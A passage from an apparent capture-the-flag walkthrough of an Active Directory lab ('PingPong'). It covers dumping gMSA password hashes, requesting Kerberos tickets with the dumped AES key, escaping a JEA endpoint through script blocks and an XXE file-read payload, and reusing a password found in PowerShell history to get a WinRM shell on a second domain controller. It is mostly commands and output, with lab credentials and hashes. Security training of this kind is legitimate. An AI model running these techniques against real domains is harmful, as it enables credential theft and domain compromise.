LDAP pong.htb 389 DC2 [+] PING.HTB\c.roberts from ccache
LDAP pong.htb 389 DC2 Getting GMSA Passwords
LDAP pong.htb 389 DC2 Account: Pong_gMSA$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: gMSA Managers
The tickets in my cache were issued before the group change, so they don’t reflect the new membership. gMSA Managers is now a domain local group in pong.htb, so it’s DC2 that adds it to the service ticket it issues, and the cached LDAP service ticket for DC2 doesn’t have it. I’ll get a fresh TGT, which also replaces the cache and any stale service tickets in it:
oxdf@hacky$ getTGT.py ping.htb/c.roberts:AssumedBreach123
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.roberts.ccache
And now it works:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q netexec ldap pong.htb --use-kcache --gmsa
LDAP pong.htb 389 DC2 None (name:DC2) (domain:PING.HTB) (signing:Unknown) (channel binding:No TLS cert) (NTLM:False)
LDAP pong.htb 389 DC2 [+] PING.HTB\c.roberts from ccache
LDAP pong.htb 389 DC2 Getting GMSA Passwords
LDAP pong.htb 389 DC2 Account: Pong_gMSA$ NTLM: 989bd748ac8dd0b71ab24edccc9fc012 PrincipalsAllowedToReadPassword: gMSA Managers
LDAP pong.htb 389 DC2 Account: Pong_gMSA$ aes128-cts-hmac-sha1-96: 97cefa17dcaec66d9b52a97be398acf0
LDAP pong.htb 389 DC2 Account: Pong_gMSA$ aes256-cts-hmac-sha1-96: 725f29ca3b45942c57a4e8576532f0262c55edfdce59bdcd4b411f4566ea1aa6
Shell
Auth
NTLM auth is disabled, so I’ll get a Kerberos TGT as Pong_gMSA$ using the AES key:
oxdf@hacky$ proxychains getTGT.py -aesKey 725f29ca3b45942c57a4e8576532f0262c55edfdce59bdcd4b411f4566ea1aa6 'pong.htb/Pong_gMSA$'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[*] Saving ticket in Pong_gMSA$.ccache
And it works:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache proxychains -q netexec smb dc2.pong.htb --use-kcache
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc2.pong.htb 445 dc2 [+] PONG.HTB\Pong_gMSA$ from ccache
Evil-WinRM-Py
Pong_gMSA$ can’t WinRM directly. First, if I try to connect without the proxy, it hangs for a while and then fails:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache evil-winrm-py -i dc1.ping.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'dc1.ping.htb:5985' as 'Pong_gMSA$@PONG.HTB'
[-] Processing security token
[-] SpnegoError (4294967295): Major (851968): Unspecified GSS failure. Minor code may provide more information, Minor (2529639068): Cannot contact any KDC for realm 'PONG.HTB', Context: Processing security token
Even though the WinRM target is DC1, evil-winrm-py is trying to get a service ticket from DC2 and failing to reach it. I’ll run with proxychains:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache proxychains evil-winrm-py -i dc1.ping.htb -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'dc1.ping.htb:5985' as 'Pong_gMSA$@PONG.HTB'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:5985 ... OK
[-] Received a WSManFault message. (Code: 5, Machine: dc1.ping.htb, Reason: Access is denied.)
It fails now, but I can see in the proxychains output that it’s connecting to DC2 on 88 (Kerberos). The local ccache now has an ST for http/dc1.ping.htb:
oxdf@hacky$ klist -c Pong_gMSA\$.ccache
Ticket cache: FILE:Pong_gMSA$.ccache
Default principal: Pong_gMSA$@PONG.HTB
Valid starting Expires Service principal
11/15/2026 23:14:10 11/16/2026 09:14:10 krbtgt/PONG.HTB@PONG.HTB
renew until 11/16/2026 23:14:06
11/15/2026 23:15:58 11/16/2026 09:14:10 krbtgt/PING.HTB@PONG.HTB
renew until 11/16/2026 23:14:06
11/15/2026 23:15:58 11/16/2026 09:14:10 http/dc1.ping.htb@PING.HTB
renew until 11/16/2026 23:14:06
If I try again, it doesn’t need the connection to DC2, as that ST is cached:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache proxychains evil-winrm-py -i dc1.ping.htb -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'dc1.ping.htb:5985' as 'Pong_gMSA$@PONG.HTB'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:5985 ... OK
[-] Received a WSManFault message. (Code: 5, Machine: dc1.ping.htb, Reason: Access is denied.)
But it still fails. That’s because Pong_gMSA$ isn’t allowed on the default WinRM endpoint. The BloodHound description said it’s JEA enabled on DC1, so it can only connect to the restricted endpoint from the JEA config I found earlier.
Evil-WinRM-Py supports a --configuration-name or -c flag that will work with JEA profiles. This was added a couple months after PingPong’s release, but I can use it today:
oxdf@hacky$ KRB5CCNAME='Pong_gMSA$.ccache' proxychains -q evil-winrm-py -i dc1.ping.htb -k -c restricted
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.7.0
[*] Connecting to 'dc1.ping.htb:5985' as 'Pong_gMSA$@PONG.HTB' using config 'restricted'
[%] JEA mode: Commands run as cmdlet pipelines. Run 'Get-Command' to see allowed cmdlets.
evil-winrm-py PS (JEA)>
When I started this box, the JEA code for Evil-WinRM-Py doesn’t actually allow for either of the escapes I’ll show, because it is deliberately built for NoLanguage endpoints. From build_cmdlet_pipeline’s own docstring:
structured PSRP invocations rather than script text. This is what makes it work against NoLanguage-mode JEA endpoints, which reject the script text that Invoke-Expression and add_script() rely on… Scriptblocks, variables, operators and other language constructs are unavailable in NoLanguage mode, so there is no way to express them here.
I worked with the author to have it updated, so now it detects if it can run add_script, and if so, uses that, falling back to the NoLanguage features when it has to. It’s merged on main as of today, but not available in a release yet. It can be installed with uv tool install --force "evil-winrm-py[kerberos] @ git+https://github.com/adityatelange/evil-winrm-py", and it specifically calls out that it’s in ConstrainedLanguage mode now:
oxdf@hacky$ KRB5CCNAME='Pong_gMSA$.ccache' proxychains -q evil-winrm-py -i dc1.ping.htb -k -c restricted
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.7.0
[*] Connecting to 'dc1.ping.htb:5985' as 'Pong_gMSA$@PONG.HTB' using config 'restricted'
[%] JEA mode (ConstrainedLanguage): Input submitted as PowerShell script. Run 'Get-Command' to see allowed cmdlets.
evil-winrm-py PS (JEA)>
pypsrp
I can also do this with a pypsrp (Python PowerShell Remoting Protocol Client library) script:
# /// script
# requires-python = ">=3.13"
# dependencies = [
# "pypsrp[kerberos]",
# ]
# ///
import sys
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool
if len(sys.argv) < 3:
print(f"usage: {sys.argv[0]} <server> <profile>")
sys.exit()
SERVER = sys.argv[1]
config = sys.argv[2]
def run(pool, cmd):
ps = PowerShell(pool)
ps.add_script(cmd)
try:
out = ps.invoke()
except Exception as e:
print(f"[-] {type(e).__name__}: {e}")
return []
for line in out:
print(line)
if ps.had_errors:
for e in ps.streams.error:
print(f"[err] {e}")
return out
print(f"[*] Connecting to {SERVER} endpoint='{config}' via Kerberos")
wsman = WSMan(SERVER, ssl=False, auth="kerberos", encryption="auto")
try:
with RunspacePool(wsman, configuration_name=config) as pool:
print("[+] Connected. Type 'exit' or Ctrl-D to quit.\n")
while True:
try:
cmd = input(f"[{config}]> ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if cmd in ("exit", "quit"):
break
if not cmd:
continue
run(pool, cmd)
except Exception as e:
print(f"[-] Connection failed: {type(e).__name__}: {e}", file=sys.stderr)
sys.exit(1)
The script makes a WinRM connection using Kerberos auth (from the ticket in KRB5CCNAME), and opens a runspace pool on the named JEA endpoint, which is the equivalent of evil-winrm-py’s -c flag. Then it loops, reading a command, running it as a PowerShell script in that runspace, and printing the output and any errors.
This works to get a shell as well:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache uv run jea.py dc1.ping.htb restricted
[*] Connecting to dc1.ping.htb endpoint='restricted' via Kerberos
[+] Connected. Type 'exit' or Ctrl-D to quit.
[restricted]>
PowerShell
I can also use PowerShell on Linux to get a remote session. I’ll start PowerShell with the TGT:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache pwsh
PowerShell 7.6.5
PS ~/hackthebox/pingpong>
Now I’ll use the PSWSMan module to get a remote WinRM session:
PS ~/hackthebox/pingpong> Import-Module PSWSMan -RequiredVersion 3.0.0
PS ~/hackthebox/pingpong> Enter-WinRMSession -ComputerName dc1.ping.htb -ConfigurationName restricted -Authentication Kerberos
[dc1.ping.htb]: PS>
JEA Escape
Enumeration
Regardless of which shell I use, I am (as expected) in constrained language mode:
[dc1.ping.htb]: PS> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
I can see what commands are available:
[dc1.ping.htb]: PS> Get-Command
CommandType Name Version Source
----------- ---- ------- ------
Function Clear-Host
Function Exit-PSSession
Function Get-Command
Function Get-FormatData
Function Get-Help
Function Measure-Object
Function Out-Default
Function Select-Object
This is the bare default set of commands for a RestrictedRemoteServer session. The other things available in constrained language mode are documented on Microsoft’s language mode page.
Script Blocks
One way out of the constrained shell is to use script blocks:
[dc1.ping.htb]: PS> whoami
The term 'whoami.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of
the name, or if a path was included, verify that the path is correct and try again.
+ CategoryInfo : ObjectNotFound: (whoami.exe:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[dc1.ping.htb]: PS> &{ whoami }
pong\pong_gmsa$
I can run basically any command inside blocks like this. JEA works by marking every command except the allowed ones as private. Private commands can’t be called directly from the remote session, but PowerShell treats a call from inside a script block as internal, and those are allowed. A NoLanguage session would block this, because it doesn’t allow script blocks at all.
XXE
A different way to escape JEA is a file read via the [xml] type accelerator (short for System.Xml.XmlDocument), one of the items called out as available in CLM on the documentation page. I can abuse that through an XML external entity (XXE) attack to read files:
[dc1.ping.htb]: PS> $x = [System.Xml.XmlDocument]::new()
[dc1.ping.htb]: PS> $x.LoadXml(@'
>> <?xml version="1.0"?>
>> <!DOCTYPE root [<!ENTITY exfil SYSTEM "file:///C:/programdata/JEA/JEA.pssc">]>
>> <root>&exfil;</root>
>> '@)
[dc1.ping.htb]: PS> $x.DocumentElement.InnerText
@{
# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'
# ID used to uniquely identify this document
GUID = 'e26939b6-819a-496e-be9a-dfb45427c765'
# ConfigurationName = 'restricted'
# Author of this document
Author = 'Administrator'
# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'
LanguageMode = 'ConstrainedLanguage'
}
Shell as c.carlssen on DC2
Enumeration
The shell lands in Pong_gMSA$’s home directory:
[dc1.ping.htb]: PS> &{ pwd}
Path
----
C:\Users\Pong_gMSA$\Documents
There are a couple files in this directory:
[dc1.ping.htb]: PS>&{ tree .. /f}
Folder PATH listing
Volume serial number is 00000203 E721:DA81
C:\USERS\PONG_GMSA$
+---Desktop
+---Documents
¦ ITAccess.psrc
¦ JEAconfig_backup.pssc
¦
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos
Together the files define a second, more privileged JEA endpoint, which is likely registered on at least one of the two DCs. JEAconfig_backup.pssc is the session configuration:
@{
# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'
# ID used to uniquely identify this document
GUID = '54906d16-7873-47d3-81f1-fc8d29748ecf'
# Author of this document
Author = 'Pong\C.Carlssen'
# Description of the functionality provided by these settings
# Description = ''
# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'
# Directory to place session transcripts for this session configuration
TranscriptDirectory = 'C:\ProgramData\JEAConfiguration\Transcripts'
# Whether to run this session configuration as the machine's (virtual) administrator account
RunAsVirtualAccount = $true
# User roles (security groups), and the role capabilities that should be applied to them when applied to a session
RoleDefinitions = @{
'Author = 'Pong\C.Carlssen' = @{
'RoleCapabilities' = 'ITAccess' } }
}
This file has the following:
RunAsVirtualAccount = $true- Commands in this endpoint run as a temporary virtual account, not as the person who connects. On a DC, that’s effectively domain admin.RoleDefinitions- This is actually mangled with misquotes.'Author = 'completes the string. So this file wouldn’t load as written. Still, it makes clear that Pong\C.Carlssen is the intended user for this configuration.TranscriptDirectory- Defines where sessions connected to this endpoint will store transcripts.SessionType = 'RestrictedRemoteServer'- This endpoint defaults to NoLanguage, so the&{ }trick that worked onrestrictedwon’t work here.
ITAccess.psrc shows what the users on this endpoint can run:
@{
# Metadata
GUID = 'b6f3b4e1-9a2e-4c0a-9c8e-0e1b5a9f1234'
Author = 'Administrator'
CompanyName = 'Ping.htb'
VisibleCmdlets = @(
# Services
'Get-Service',
'Restart-Service',
# Event logs
'Get-EventLog',
# History
'Get-History',
# Networking
'Get-NetIPConfiguration',
'Get-NetIPAddress',
'Get-NetRoute',
'Test-Connection',
'Resolve-DnsName'
)
VisibleAliases = @(
@{
Name = 'history'
Definition = 'Get-History'
}
)
VisibleExternalCommands = @(
'ipconfig.exe',
'ping.exe',
'tracert.exe',
'nslookup.exe'
)
VisibleProviders = @(
'FileSystem'
)
CommandDefinitions = @(
@{
Name = 'Restart-Service'
Parameters = @{
Name = @{
ValidateSet = 'Spooler', 'W32Time'
}
}
}
)
LanguageMode = 'NoLanguage'
ModulesToImport = @(
'Microsoft.PowerShell.Management',
'NetTCPIP'
)
}
Pong_gMSA$ also has a PowerShell history file at C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt:
ls
ls -force
hostname
whoami
whoami /all
Get-ExecutionPolicy
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Get-Help Get-Process
Get-Process
Get-Process | Sort-Object CPU -Descending
Get-Service
Get-Service | Where-Object Status -eq "Running"
Get-Service | Where-Object StartType -eq "Automatic"
gci
gci C:\
Getchilditem \Windows
Set-Location C:\Users\
ls
cd.\Public
ls
cd C:\
gic -Recurse -ErrorAction SilentlyContinue
gci -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Filter *.log
Get-ChildItem -Recurse -Include *.txt
Clear-Host
Get-Command
Get-Command *service*
Get-Command *process*
Get-CimInstance Win32_OperatingSystem
Get-CimInstance Win32_ComputerSystem
Get-CimInstance Win32_Process
Get-CimInstance Win32_LogicalDisk
Get-CimInstance Win32_BIOS
Get-Alias
Get-History
ipconfig
ipconfig /all
ping google.com
netstat -ano
Test-NetConnection google.com
Test-NetConnection google.com -Port 443
Get-DnsClientServerAddress
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 8.8.8.8
tasklist
tasklist /v
ls
ls -force
Get-Process explorer
Get-EventLog -LogName System -Newest 20
Get-EventLog -LogName Application -Newest 20
Get-WinEvent -LogName Security -MaxEvents 10
Clear-EventLog -LogName Application
$env:Path
Get-PSDrive
Get-PSProvider
Get-
Get-Module -ListAvailable
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter *
Get-ADUser -Identity Administrator
Get-ADGroup -Filter * -Server pong.htb
Getadgroup
Get-adgroup "remote management users" -server pong.htb
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "A()DUJ!@414"))
Enter-pssession -computername dc2.pong.htb -credential $c
Get-ADComputer -Filter *
Get-ADUser -Filter * | Select-Object Name
Get-ADUser -Filter * | Export-Csv users.csv -NoTypeInformation
Import-Csv users.csv
gc -raw users.csv
cd C:\Temp
Copy-Item users.csv backup_users.csv
Move-Item backup_users.csv archive_users.csv
rm -f *.csv
Get-ScheduledTask
Get-ScheduledTask | Where-Object State -eq "Ready"
Restart-Service spooler
Stop-Service spooler
Start-Service spooler
Set-Service spooler -StartupType Automatic
Get-Service spooler
Get-Process powershell
Get-Process pwsh
$PSVersionTable
Get-Host
Clear-History
Get-History
Measure-Command { Get-Process }
ForEach ($i in 1..10) { Write-Output $i }
1..10 | ForEach-Object { $_ * 2 }
1..10 | Where-Object { $_ -gt 5 }
$numbers = 1..100
$numbers | Measure-Object -Sum
$numbers | Measure-Object -Average
$numbers | Sort-Object -Descending
$numbers | Select-Object -First 10
Get-ChildItem HKLM:\Software
Get-ChildItem HKCU:\Software
Get-Command -Module Microsoft.PowerShell.Management
Save-Help -DestinationPath C:\Help
Get-PSReadLineOption
Set-PSReadLineOption -PredictionSource History
Clear-Host
iwr -useb https://github.com/fleschutz/PowerShell/blob/main/scripts/play-mission-impossible.ps1
Exit
The interesting lines are:
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "A()DUJ!@414"))
Enter-pssession -computername dc2.pong.htb -credential $c
The quoting in the first line is off, so it wouldn’t have run as written, but the password is there.
c.carlssen is a member of the Remote Management Users group on pong.htb:
Shell
Auth
I’ll get a TGT as c.carlssen:
oxdf@hacky$ proxychains getTGT.py 'pong.htb/c.carlssen:A()DUJ!@414'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[*] Saving ticket in c.carlssen.ccache
I can use that to auth on DC1.ping.htb:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains netexec smb dc1.ping.htb --use-kcache
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:135 ... OK
SMB dc1.ping.htb 445 dc1 x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PING.HTB:88 ... OK
SMB dc1.ping.htb 445 dc1 [+] PONG.HTB\c.carlssen from ccache
Interesting that it first hits Kerberos on pong.htb and then on ping.htb. That’s a cross-realm referral, which I’ll look at more closely later. If I ran without proxychains it would hang trying to reach DC2.pong.htb. I can auth on DC2.pong.htb as well:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains netexec smb dc2.pong.htb --use-kcache
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:135 ... OK
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
SMB dc2.pong.htb 445 dc2 [+] PONG.HTB\c.carlssen from ccache
Evil-WinRM-Py
I’ll use the TGT and proxychains to get a shell on DC2:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains evil-winrm-py -i dc2.pong.htb -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.7.0
[*] Connecting to 'dc2.pong.htb:5985' as 'c.carlssen@PONG.HTB'
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:5985 ... OK
evil-winrm-py PS C:\Users\C.Carlssen\Documents>
And grab user.txt:
evil-winrm-py PS C:\Users\C.Carlssen\Desktop> cat user.txt
e044347a************************
Full PONG.HTB Compromise
Enumeration
DC2 Filesystem
c.carlssen’s home directory is pretty empty:
evil-winrm-py PS C:\Users\C.Carlssen> tree /f .
Folder PATH listing
Volume serial number is 0000019C A092:63D8
C:\USERS\C.CARLSSEN
+---Desktop
¦ user.txt
¦
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos
Nothing interesting at the root of the drive either:
evil-winrm-py PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/20/2026 1:25 PM inetpub
d----- 5/8/2021 1:15 AM PerfLogs
d-r--- 1/16/2026 6:40 AM Program Files
d----- 1/16/2026 6:39 AM Program Files (x86)
d-r--- 2/5/2026 5:40 AM Users
d----- 4/21/2026 1:07 PM Windows
MSSQL
I’ll look at what services are listening on DC2:
evil-winrm-py PS C:\> netstat -ano | findstr LISTEN
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 904
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 904
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 720
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 1704
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 512
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 356
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 696
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49679 0.0.0.0:0 LISTENING 624
TCP 0.0.0.0:49686 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:55457 0.0.0.0:0 LISTENING 1840
TCP 0.0.0.0:55495 0.0.0.0:0 LISTENING 1348
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1840
TCP 192.168.2.2:53 0.0.0.0:0 LISTENING 1840
TCP 192.168.2.2:139 0.0.0.0:0 LISTENING 4
TCP [::]:88 [::]:0 LISTENING 636
TCP [::]:135 [::]:0 LISTENING 904
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:464 [::]:0 LISTENING 636
TCP [::]:593 [::]:0 LISTENING 904
TCP [::]:1433 [::]:0 LISTENING 720
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:9389 [::]:0 LISTENING 1704
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 636
TCP [::]:49665 [::]:0 LISTENING 512
TCP [::]:49666 [::]:0 LISTENING 356
TCP [::]:49667 [::]:0 LISTENING 696
TCP [::]:49668 [::]:0 LISTENING 636
TCP [::]:49674 [::]:0 LISTENING 636
TCP [::]:49679 [::]:0 LISTENING 624
TCP [::]:49686 [::]:0 LISTENING 636
TCP [::]:55457 [::]:0 LISTENING 1840
TCP [::]:55495 [::]:0 LISTENING 1348
TCP [::1]:53 [::]:0 LISTENING 1840
1433 jumps out as interesting.
BloodHound
c.carlssen has outbound control because of their membership in the IT Service Admins group:
They have GenericWrite over three service accounts.
Auth to MSSQL as c.carlssen
Crowded Cache Issues
I’ll try to get a connection on MSSQL as c.carlssen. My initial attempt fails:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains mssqlclient.py -no-pass -k -windows-auth dc2.pong.htb -debug
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:1433 ... OK
[*] Encryption required, switching to TLS
[+] Using Kerberos Cache: c.carlssen.ccache
[+] Domain retrieved from CCache: PONG.HTB
[+] SPN MSSQLSVC/DC2.PONG.HTB:1433@PONG.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for HTTP/DC2.PONG.HTB@PONG.HTB
[+] Using TGS from cache
[+] Changing sname from http/dc2.pong.htb@PONG.HTB to MSSQLSVC/DC2.PONG.HTB:1433@PONG.HTB and hoping for the best
[+] Username retrieved from CCache: c.carlssen
[+] Computed tls-unique CBT token: 84f760fb477677510404ad7083852aa4
[-] ERROR(DC2): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
It’s trying to use HTTP/DC2.PONG.HTB@PONG.HTB:
[+] Changing sname from http/dc2.pong.htb@PONG.HTB to MSSQLSVC/DC2.PONG.HTB:1433@PONG.HTB and hoping for the best
That ticket was cached from my earlier WinRM session to DC2. It’s encrypted with DC2$’s key, not the key of the account MSSQL runs as, so MSSQL can’t validate it and rejects the login. I can see that ST in the cache:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache klist
Ticket cache: FILE:c.carlssen.ccache
Default principal: c.carlssen@PONG.HTB
Valid starting Expires Service principal
11/16/2026 03:22:11 11/16/2026 13:22:11 krbtgt/PONG.HTB@PONG.HTB
renew until 11/17/2026 03:22:07
11/16/2026 03:28:52 11/16/2026 13:22:11 http/dc2.pong.htb@PONG.HTB
renew until 11/17/2026 03:22:07
11/16/2026 03:54:37 11/16/2026 13:22:11 krbtgt/PING.HTB@PONG.HTB
renew until 11/17/2026 03:22:07
11/16/2026 03:54:37 11/16/2026 13:22:11 http/dc1.ping.htb@PING.HTB
renew until 11/17/2026 03:22:07
I’ll remove the file and reacquire a TGT:
oxdf@hacky$ rm c.carlssen.ccache
oxdf@hacky$ proxychains getTGT.py 'pong.htb/c.carlssen:A()DUJ!@414'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
